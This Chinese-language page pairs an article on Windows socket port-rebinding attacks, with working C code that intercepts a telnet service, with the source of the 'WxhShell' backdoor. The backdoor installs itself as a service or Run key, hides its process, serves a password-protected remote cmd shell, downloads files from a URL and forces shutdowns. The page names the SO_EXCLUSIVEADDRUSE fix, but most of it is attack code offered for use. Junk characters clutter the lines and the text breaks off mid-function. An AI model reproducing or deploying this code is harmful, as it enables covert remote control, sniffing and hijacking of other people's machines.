在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
} gwfe
H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
zgGJ<=G. !K2QD[x saddr.sin_family = AF_INET;
Piw i O` !XW8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xY.?OHgG/ * >:< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yK"HHdYTV "9X!Ewm"P 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
vqVwo\oEdU RH7!3ye 这意味着什么?意味着可以进行如下的攻击:
zFDtC-GF lSoAw-@At8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B@ z ng2[ a*&&6Fo 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
tCRsaDK> MOytxl:R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^R
:zma "E4CQL'U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}Q\+w,pJgN YUTh*`1k< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
pVzr]WFx BW3Q03SW6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
b&Laxki ?I+$KjE+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6Hy_7\$(- L?M
x"
#include
$Fi1Bv) #include
b?!S$S xz #include
+Y;hVcE9 #include
<gFisc/#r DWORD WINAPI ClientThread(LPVOID lpParam);
&Cm]*$? int main()
"&`>+Yw {
u(hJyo} WORD wVersionRequested;
1`s^r+11: DWORD ret;
6Z=Qs=q WSADATA wsaData;
92C; a5s BOOL val;
7hLh} SOCKADDR_IN saddr;
g HxR w SOCKADDR_IN scaddr;
E{^W- int err;
a3A3mBw SOCKET s;
sk:B;.z SOCKET sc;
v>mK~0.$ int caddsize;
u"wWekB HANDLE mt;
%h,&N D DWORD tid;
(F3R!n wVersionRequested = MAKEWORD( 2, 2 );
@A`j Wao err = WSAStartup( wVersionRequested, &wsaData );
c/j+aj0.v if ( err != 0 ) {
6kAGOjO printf("error!WSAStartup failed!\n");
@w(|d<5l:L return -1;
1*6xFn }
z6,E}Y saddr.sin_family = AF_INET;
H?ug-7k/ YRv96|c, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pp{p4Z V[Sj+&e& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
bI(8Um6m saddr.sin_port = htons(23);
<$Sl%DoS if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O.\\)8xA {
4#:Eq=(W printf("error!socket failed!\n");
Jk7 Am-.0 return -1;
MZWv#;.] }
8^_e>q*W val = TRUE;
mH\2XG8nV //SO_REUSEADDR选项就是可以实现端口重绑定的
2}*8( 32 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xoGrXt9& {
]O~$|Wk printf("error!setsockopt failed!\n");
[~G1Rz\h return -1;
&m\Uc }
oSjYp(h: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0ZLLbEfnPB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4pelIoj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^K4?uABc >vYb'%02 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]Wjcr2Wq {
tJ8:S@E3, ret=GetLastError();
.wlKl[lE2 printf("error!bind failed!\n");
f87XE";:A return -1;
s%>8y\MaK }
bR:hu}YS listen(s,2);
O
9M?Wk
: while(1)
p-w:l*-` {
yOAC<<Tzus caddsize = sizeof(scaddr);
Mc(|+S@w' //接受连接请求
PRFl%M.H` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wuk\__f4 if(sc!=INVALID_SOCKET)
z!.cc6R {
N 6\Ey{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
oS<GjI: if(mt==NULL)
_2}~Vqb+ {
&h!O<'*2 printf("Thread Creat Failed!\n");
4}UJBb? break;
F0r2=f(? }
X8R:9q_ }
59"tHb6 E CloseHandle(mt);
>LH}A6dUC }
&RI;!qn6( closesocket(s);
R9"}-A WSACleanup();
]$sb<o
.a return 0;
rKT.~ZP\ }
">20`Mj8 DWORD WINAPI ClientThread(LPVOID lpParam)
3u+i {
EAxdF
u SOCKET ss = (SOCKET)lpParam;
WB<MU:.Vc SOCKET sc;
gf9U<J#&C unsigned char buf[4096];
S;D]ym SOCKADDR_IN saddr;
XJy.xI>; long num;
BpX` 49 DWORD val;
fBz|-I:k
+ DWORD ret;
@0C[o9 //如果是隐藏端口应用的话,可以在此处加一些判断
CPeu="[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cD)9EFo saddr.sin_family = AF_INET;
dD~H ft saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
f5{|_]q] saddr.sin_port = htons(23);
c5 AaUza if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q"c/]Sk) {
\i}-Y[Dg printf("error!socket failed!\n");
Aho*E9VW return -1;
\DBEs02 }
fOdqr val = 100;
}QQ 7jE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`R7dn/ {
X?&{<
vz ret = GetLastError();
_6`GHx return -1;
MA}}w& }
>LN*3&W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
._<,
Eodv {
+uTl
Lu;MT ret = GetLastError();
)l!`k return -1;
>Bdh`Ot-! }
HD2C^V2@M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2Qh)/=8lM {
'$'a .q1q9 printf("error!socket connect failed!\n");
ct
OCj$$u closesocket(sc);
""|;5kJS4 closesocket(ss);
lFSvHs5 return -1;
9vwm
RVN }
[F;\NJp6?^ while(1)
mE>{K {
Tr|PR t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
H Vhd#Q; //如果是嗅探内容的话,可以再此处进行内容分析和记录
UugR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
K=}Eupn= num = recv(ss,buf,4096,0);
v&d'ABeT if(num>0)
2mMi=pv9 send(sc,buf,num,0);
,=c(P9}^ else if(num==0)
Q>9bKP break;
%X}vuE[[UC num = recv(sc,buf,4096,0);
j8PeO&n> if(num>0)
!>=lah$& send(ss,buf,num,0);
U /~uu else if(num==0)
q8;MPXSG3 break;
_5(1T%K) }
@uN+]e+3 closesocket(ss);
>H5t,FfQL closesocket(sc);
ocMTTVo return 0 ;
v0=v1G*rvJ }
KK4e'[Wf (!J;g|58 ^8]7
==========================================================
:F#^Q%-IS 7#oq|5 下边附上一个代码,,WXhSHELL
hx8pg,X , /jHhKW ==========================================================
+Wy `X5v %g89eaEZ #include "stdafx.h"
B!8X?8D -1NR]#P' #include <stdio.h>
$<C",& #include <string.h>
iQT0%WaHl #include <windows.h>
}~ N\A #include <winsock2.h>
Ea'jAIFPpO #include <winsvc.h>
\/gf_R_GN #include <urlmon.h>
?*r%*CL }u$c*} #pragma comment (lib, "Ws2_32.lib")
dTu*%S1Z #pragma comment (lib, "urlmon.lib")
JKO*bbj 5[r}'08b #define MAX_USER 100 // 最大客户端连接数
}LQV2 hKTG #define BUF_SOCK 200 // sock buffer
\*qradgx$ #define KEY_BUFF 255 // 输入 buffer
O@W/s!&lFa ZWzr8oY) #define REBOOT 0 // 重启
yV(9@lj3; #define SHUTDOWN 1 // 关机
-"a(<JC^NI +ZiYl[_| #define DEF_PORT 5000 // 监听端口
m .(\u?J 1OMaY5F #define REG_LEN 16 // 注册表键长度
% WXl* #define SVC_LEN 80 // NT服务名长度
Z(tO]tQE <Kr`R+Q$DN // 从dll定义API
H\ E%.QIx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"xHK* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
c;-NRvVb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Qb%;
|li typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S?a4IK s|c}9/Xe) // wxhshell配置信息
BhbfPQ struct WSCFG {
?OoI63& int ws_port; // 监听端口
!+z^VcV char ws_passstr[REG_LEN]; // 口令
PNo:vRtsq int ws_autoins; // 安装标记, 1=yes 0=no
L]"$dF char ws_regname[REG_LEN]; // 注册表键名
re#]zc< char ws_svcname[REG_LEN]; // 服务名
K"5q387! char ws_svcdisp[SVC_LEN]; // 服务显示名
\v<S:cTf char ws_svcdesc[SVC_LEN]; // 服务描述信息
02%~HBS char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F^%\AA]8 int ws_downexe; // 下载执行标记, 1=yes 0=no
M6qNh`+HO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E]g6|,4~- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4${3e
Sg_ GBR$k P };
a_{'I6a*, jOGiT|A
// default Wxhshell configuration
hu"-dT;4] struct WSCFG wscfg={DEF_PORT,
HrFbUK@@ "xuhuanlingzhe",
'NfsAE 1,
&2 *
"Wxhshell",
\T<F#a "Wxhshell",
,WnZ^R/n "WxhShell Service",
)dEcKH<# "Wrsky Windows CmdShell Service",
"*l{ m2" "Please Input Your Password: ",
3="vOSJ6& 1,
\dE{[^.5 "
http://www.wrsky.com/wxhshell.exe",
PvjZoF[" "Wxhshell.exe"
T3"'`Sd9; };
ya^8mp- $dK430_B
// 消息定义模块
V:P]Ved char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/?XI,#j3kM char *msg_ws_prompt="\n\r? for help\n\r#>";
%{:pBt:Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#Hu##x| char *msg_ws_ext="\n\rExit.";
v.TgB) char *msg_ws_end="\n\rQuit.";
8@S]P0lk char *msg_ws_boot="\n\rReboot...";
O<,\tZ'N char *msg_ws_poff="\n\rShutdown...";
88[u^aC char *msg_ws_down="\n\rSave to ";
&OXx\}>MW 8<C@I/ char *msg_ws_err="\n\rErr!";
W7_m,{q char *msg_ws_ok="\n\rOK!";
Xc"
%- `r3 klL,W' char ExeFile[MAX_PATH];
Pw7uxN` int nUser = 0;
mSZg;7DE3* HANDLE handles[MAX_USER];
KQ81Oxu*C int OsIsNt;
iPWr- Y= =5\;- SERVICE_STATUS serviceStatus;
%VR{<{3f SERVICE_STATUS_HANDLE hServiceStatusHandle;
whP5u/857 c9CFGo?)N // 函数声明
e00}YWf% int Install(void);
Ef?|0Gm int Uninstall(void);
R-OO1~W= int DownloadFile(char *sURL, SOCKET wsh);
*f>\X[wN int Boot(int flag);
8tna<Hx void HideProc(void);
+s;Vfc$b]H int GetOsVer(void);
1n7'\esC* int Wxhshell(SOCKET wsl);
T:2f*!r void TalkWithClient(void *cs);
Q{'4,J-w int CmdShell(SOCKET sock);
QUvSeNSp int StartFromService(void);
"_dg$j`Y&& int StartWxhshell(LPSTR lpCmdLine);
WwtVuc| wqV"fZA\] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(3!6nQj-t VOID WINAPI NTServiceHandler( DWORD fdwControl );
xaoR\H `"yxmo*0 // 数据结构和表定义
JZ5 ";*, SERVICE_TABLE_ENTRY DispatchTable[] =
j;z7T;!i {
FeO1%#2<y {wscfg.ws_svcname, NTServiceMain},
bqA`oRb\ {NULL, NULL}
UF }[%Sa };
ScD
E)r enQW;N1_M // 自我安装
}BL7P-km int Install(void)
f>4|>kS {
%0/qb0N& char svExeFile[MAX_PATH];
=mPe
wx' HKEY key;
2QAP$f0Ln strcpy(svExeFile,ExeFile);
p8@&(+z ']I!1>v$[ // 如果是win9x系统,修改注册表设为自启动
j3N d4# if(!OsIsNt) {
GRkN0|ovfj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~tRGw^<9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>$-YNZA RegCloseKey(key);
w%X@os}E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\)o.Y
zAo@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ok{1{EmP RegCloseKey(key);
Xy!NBh7I return 0;
19y,O0# _ }
!vpXXI4 }
=H;'.!77Hx }
\f(zMP else {
U.I
w/T-5 [+R_3'aK // 如果是NT以上系统,安装为系统服务
`sso Wn4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_#&oQFdYR if (schSCManager!=0)
Yk?q \1 {
t^zE^:06 SC_HANDLE schService = CreateService
ry=8Oq&[~ (
QKq4kAaJ! schSCManager,
ITqAy1m@C wscfg.ws_svcname,
V]+y*b.60 wscfg.ws_svcdisp,
9s[ SERVICE_ALL_ACCESS,
m;>G]Sbe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\ ~+b& SERVICE_AUTO_START,
8 M,@Mbn SERVICE_ERROR_NORMAL,
$':5uU1} svExeFile,
A[7H-1- NULL,
k+P3z&e NULL,
00dY?d{[D NULL,
EsX(<bx NULL,
m;{HlDez NULL
h^Yh~84T );
)8#-IXxp if (schService!=0)
!z4I-a {
PI`Y%! P CloseServiceHandle(schService);
\mJR^t CloseServiceHandle(schSCManager);
Wex2Fd?DO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6fI2y4yEz strcat(svExeFile,wscfg.ws_svcname);
<8kCmuGlk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1hi,&h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j
nSZ@u RegCloseKey(key);
&g23tT#P? return 0;
(GL'm[V }
gzSm=6Qw0 }
$b{8$<;9 CloseServiceHandle(schSCManager);
ftPhE)i }
K39I j_3 }
%r.C9 - ry return 1;
N}7b^0k }
O{\<Izm`D RfD#/G3| // 自我卸载
85[
7lO)[ int Uninstall(void)
c U(z5th {
Vn{;8hZ:a HKEY key;
{fl[BX]kZ >.od(Fh{l| if(!OsIsNt) {
bf2n%-&9g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.-&
=\}^2l RegDeleteValue(key,wscfg.ws_regname);
-UzWLVB^ RegCloseKey(key);
SC2LY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i>CR{q RegDeleteValue(key,wscfg.ws_regname);
R_GA`U\ { RegCloseKey(key);
iiJT%Zq`# return 0;
PyHL`PZZ }
PZZPx<?N }
+`Nu0y!rj }
Z+);}>-5 else {
$t"QLsk0 tS3&&t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
g +gcH if (schSCManager!=0)
i(.PkYkaq {
CW8YNJ' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
L1Yj9i if (schService!=0)
k$J!,!q {
rOEBL|P0 if(DeleteService(schService)!=0) {
T8&sPt,f CloseServiceHandle(schService);
`}sFT:1& CloseServiceHandle(schSCManager);
w?nSQBz$ return 0;
qyKR]%yzi }
xnWezO_ CloseServiceHandle(schService);
[`tNa Vg }
Q7v1xBM CloseServiceHandle(schSCManager);
BU>R<A5h }
><S2o%u~ }
a+k3wzJ
j^U"GprA return 1;
eA
Fp<2g }
oPbziB8 b{-|q6 // 从指定url下载文件
a#CjGj) int DownloadFile(char *sURL, SOCKET wsh)
*x p_# {
gCkR$.-E HRESULT hr;
){,Mv:#+T char seps[]= "/";
DXO'MZon3 char *token;
d>zC[]1 char *file;
i7 YUyU char myURL[MAX_PATH];
FBouXu# char myFILE[MAX_PATH];
a7u*d`3X= 7u:kR;wk strcpy(myURL,sURL);
3N2d@R token=strtok(myURL,seps);
+tg${3ti_ while(token!=NULL)
:h3U^ {
pg_H' 0R file=token;
unz~vG1Tn token=strtok(NULL,seps);
017n hI }
M5_t#[ [ w6Mv%ZO_ GetCurrentDirectory(MAX_PATH,myFILE);
3tkCmB strcat(myFILE, "\\");
uocFOlU0n strcat(myFILE, file);
.i|nn[H & send(wsh,myFILE,strlen(myFILE),0);
Q4]Od{[ send(wsh,"...",3,0);
W.D>$R2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{KEmGHC4R if(hr==S_OK)
S-7 C'dc return 0;
RVs=s}|>* else
/?TR_> return 1;
EaL>~:j (q}LirR }
NB.'>Sar \,v+ejhw // 系统电源模块
hK{<&T int Boot(int flag)
3QdCu<eBZ {
U.$Th_ HANDLE hToken;
#!#s7^%K& TOKEN_PRIVILEGES tkp;
ZYt <O p_EM/jI, if(OsIsNt) {
Y)(yw \&v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0O]v| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6'<[QoW]; tkp.PrivilegeCount = 1;
~0?B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!<~cjgdx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NN5Ejr, if(flag==REBOOT) {
1_Av_X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
iY&I?o!Ch return 0;
fd>&RbUp }
0O*kC43E_ else {
z%lJWvaA7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o?a3hD return 0;
"J+4 }
l5KO_"hy }
Un
T\6u else {
\[*q~95$v if(flag==REBOOT) {
B_b5&M@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_z 5W*..
return 0;
?~yJ7~3TS< }
E\;%,19Ob else {
n5IQKYrg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
mF jM6pmo return 0;
Vry_X2 }
%:;g|PC }
G|8>Q3D &`tAQN*Z return 1;
"h7Dye }
j|!t3}(( .V3e>8gw3 // win9x进程隐藏模块
qc\D=3#Yp void HideProc(void)
`r~3Pf).4 {
Dh?I 6DgdS5GhT_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j:/Z_v' if ( hKernel != NULL )
ecQ,DOX|b {
|d*a~T0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2+~gZxHq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
D3P/: 4 FreeLibrary(hKernel);
yTZo4c" }
|5X[/Q*K`W Pw thYy return;
cGdYfi }
J|%bRLX@> C"_ Roir? // 获取操作系统版本
\x]\W#C int GetOsVer(void)
N2duhI6 {
@h!Z0}dX( OSVERSIONINFO winfo;
v}d)uPl}; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Q9xb7)G GetVersionEx(&winfo);
u'>94Gm} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7Zdg314 return 1;
N)R5#JX else
~!8j,Bqs+z return 0;
A~<!@`NjB }
.8!\6=iJB !Hl] & // 客户端句柄模块
DZnqCu"J int Wxhshell(SOCKET wsl)
c1jRj=\ {
xz.Jmv SOCKET wsh;
jlU6keZh` struct sockaddr_in client;
{B4qeG5 DWORD myID;
{ilz[LM8( (=Kv1
H aD while(nUser<MAX_USER)
0F/[GZ<k {
m6n%?8t int nSize=sizeof(client);
9 i/
( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}l[e@6r F if(wsh==INVALID_SOCKET) return 1;
~~-VScG& -bHlFNRm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/o 'lGvw if(handles[nUser]==0)
HdB>CVuh closesocket(wsh);
YI,t{Wy else
1Z @sh>X| nUser++;
f'@ L|&w }
C)EP;5k'!\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7_76X)gIV |.0~' return 0;
:ZIa }
PRaVe,5a b&&l // 关闭 socket
?<C(ga void CloseIt(SOCKET wsh)
52tc|j6~# {
rD SYR\cg closesocket(wsh);
9 $$uk'}w! nUser--;
k/wD@H N ExitThread(0);
=zK4jiM1 }
i:0v6d 2WFZ6 // 客户端请求句柄
eQu(3 sYb void TalkWithClient(void *cs)
P{6$".kIY {
s!/lQo5/ )PP yJ@M SOCKET wsh=(SOCKET)cs;
bAZoi0LR
char pwd[SVC_LEN];
4F#H$`:[ char cmd[KEY_BUFF];
>U{iof< char chr[1];
iv *$!\Cd int i,j;
aX;>XL4 ]wU/yc)e while (nUser < MAX_USER) {
$e7%>*?m {k_\1t(/ if(wscfg.ws_passstr) {
VRQ`-# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;kk[x8$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b},2A'X //ZeroMemory(pwd,KEY_BUFF);
JfN
'11,$ i=0;
$lf/Mg_H while(i<SVC_LEN) {
M0fN[!*z x:MwM? // 设置超时
\+R %KA/F fd_set FdRead;
\(i'i C struct timeval TimeOut;
0NU%z.(%s FD_ZERO(&FdRead);
M=liG+d FD_SET(wsh,&FdRead);
r{R<J?Y TimeOut.tv_sec=8;
-a)1L'R TimeOut.tv_usec=0;
;^xM"
{G8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8j#S+=l> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M=Ze)X\E*' LVB wWlJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\
T#|<= pwd
=chr[0]; W:RjWn @<
if(chr[0]==0xd || chr[0]==0xa) { :lB`K>)iB}
pwd=0; \nEMj,)
break; ~ps,U
} 2@ZVEN
i++; 47Z3nl?
} (a_bU5)
RD:G9[
// 如果是非法用户,关闭 socket /(JG\Ut
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e&z@yy$
} 2X\Pw
=6dAF"b)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T5u71C_wmt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 66pjWS
{X
l'(FM^8jv
while(1) {
b M1\z
i"a3POV>
ZeroMemory(cmd,KEY_BUFF); %cSx`^`6j
3UUdJh<~
// 自动支持客户端 telnet标准 !{^kH;*u
j=0; }e$
while(j<KEY_BUFF) { W\zZ&*8$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S9l,P-X`
cmd[j]=chr[0]; r"2lcNE
if(chr[0]==0xa || chr[0]==0xd) { P5?VrZy
cmd[j]=0; N 5*Qnb8
break; nv_v FK
} OlCqv-B2&
j++; FB?~:7+'
} 5c]:/9&
$97O7j@
// 下载文件 vT EqT
if(strstr(cmd,"http://")) { -E?:W`!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5\pS8<RJ;
if(DownloadFile(cmd,wsh)) eY :"\c3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R278 ^E
else 1M&Lb.J6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wL8ji>"
} /7D5I\
else { 3cghg._
f8lyH'z0
@
switch(cmd[0]) { !s-A`}
s+
u&Ic
// 帮助 N]
sbI)Z@
case '?': { ! :]_-DX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UH>~Y
N
break; ch8VJ^%Ra1
} xZ {6!=4!
// 安装 qI uo8o}
case 'i': { &tZIWV1&
if(Install()) Nx.9)MjI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |V\{U j
else $^fF}y6N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s@{82}f~
break; w3(G!:
} )r46I$]>
// 卸载 fsjLD|?|:
case 'r': { t[q2W"#.
if(Uninstall()) v>LK+|U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z~h?"'
else 5Lc@=,/0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F\N0<o
break; PFp!T [)
} qR
cSB
// 显示 wxhshell 所在路径 p?$N[-W 6-
case 'p': { ouCh2Y/_
char svExeFile[MAX_PATH]; fC'u-m?!Q'
strcpy(svExeFile,"\n\r"); bji#ID2]%
strcat(svExeFile,ExeFile); qe&|6 M!
send(wsh,svExeFile,strlen(svExeFile),0); c{Z
"'t7
break; nX:E(9q7c
} p|-> z
// 重启 liYsUmjZ=
case 'b': { _:\rB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UhW{KIW
if(Boot(REBOOT)) K7C
<}y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \{<ml n
else { /ZiMD;4@y
closesocket(wsh); {Yxvb**
ExitThread(0); s;P _LaIp)
} LNJKf6:
break; UZt3Ua&J
} 2#$7!`6K
// 关机 !KXcg9e
case 'd': { Ijiw`\;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'KmM%tN
if(Boot(SHUTDOWN)) 4wKCzPy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0>j0L8#^p
else { w@2NXcmw
closesocket(wsh); XC6 |<pru
ExitThread(0); @; 9KP6d
} /|U;_F Pmc
break; ([$KXfAi]h
} #vK99S2
// 获取shell 1y[~xxgE
case 's': { 9*j"@Rm
CmdShell(wsh); v89tV9O)
closesocket(wsh); qK;J:GT>
ExitThread(0); ) %Xp?H_
break; 9ox5,7ZQ
} 6@0?~
// 退出 -"yma_
case 'x': { i|H^&$|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ax _v+v %
CloseIt(wsh); [D|Uwq
break; M| }?5NS
} @?tR-L<u
// 离开 4UL"f<7 T
case 'q': { \K2S.j
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }rVLWt
closesocket(wsh); 'U@Ep
WSACleanup(); Rz>@G>b:
exit(1); r^s$U,e#~
break; 1iqgTi>
}
+;@R&Y
} yYJ +vs
} h/aG."U
?)qm=mebY
// 提示信息 *Q-uE
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '&AeOn
} NCkrf]*F-
} :d<F7`k
H
q|B.@Ng.
return; 0rDQJCm
} QSYKYgxC
PVq y\i
// shell模块句柄 jfR!M07|
int CmdShell(SOCKET sock) )Zyw^KN^
{ n?^X/R.22
STARTUPINFO si; t(^Lh.<a
ZeroMemory(&si,sizeof(si)); d$D3iv^hyx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _rUsb4r
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x5yZ+`Gc
PROCESS_INFORMATION ProcessInfo; fJ-8$w\uL
char cmdline[]="cmd"; 6~Zq
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]\=M$:,RZ
return 0; {M0pq3SL*t
} }PzYt~Z`@
^@q$c
// 自身启动模式 =Rf!i78c5
int StartFromService(void) ")qO#b4
{ 4[LzjC
typedef struct /I#SP/M&l
{ z:tu_5w!,
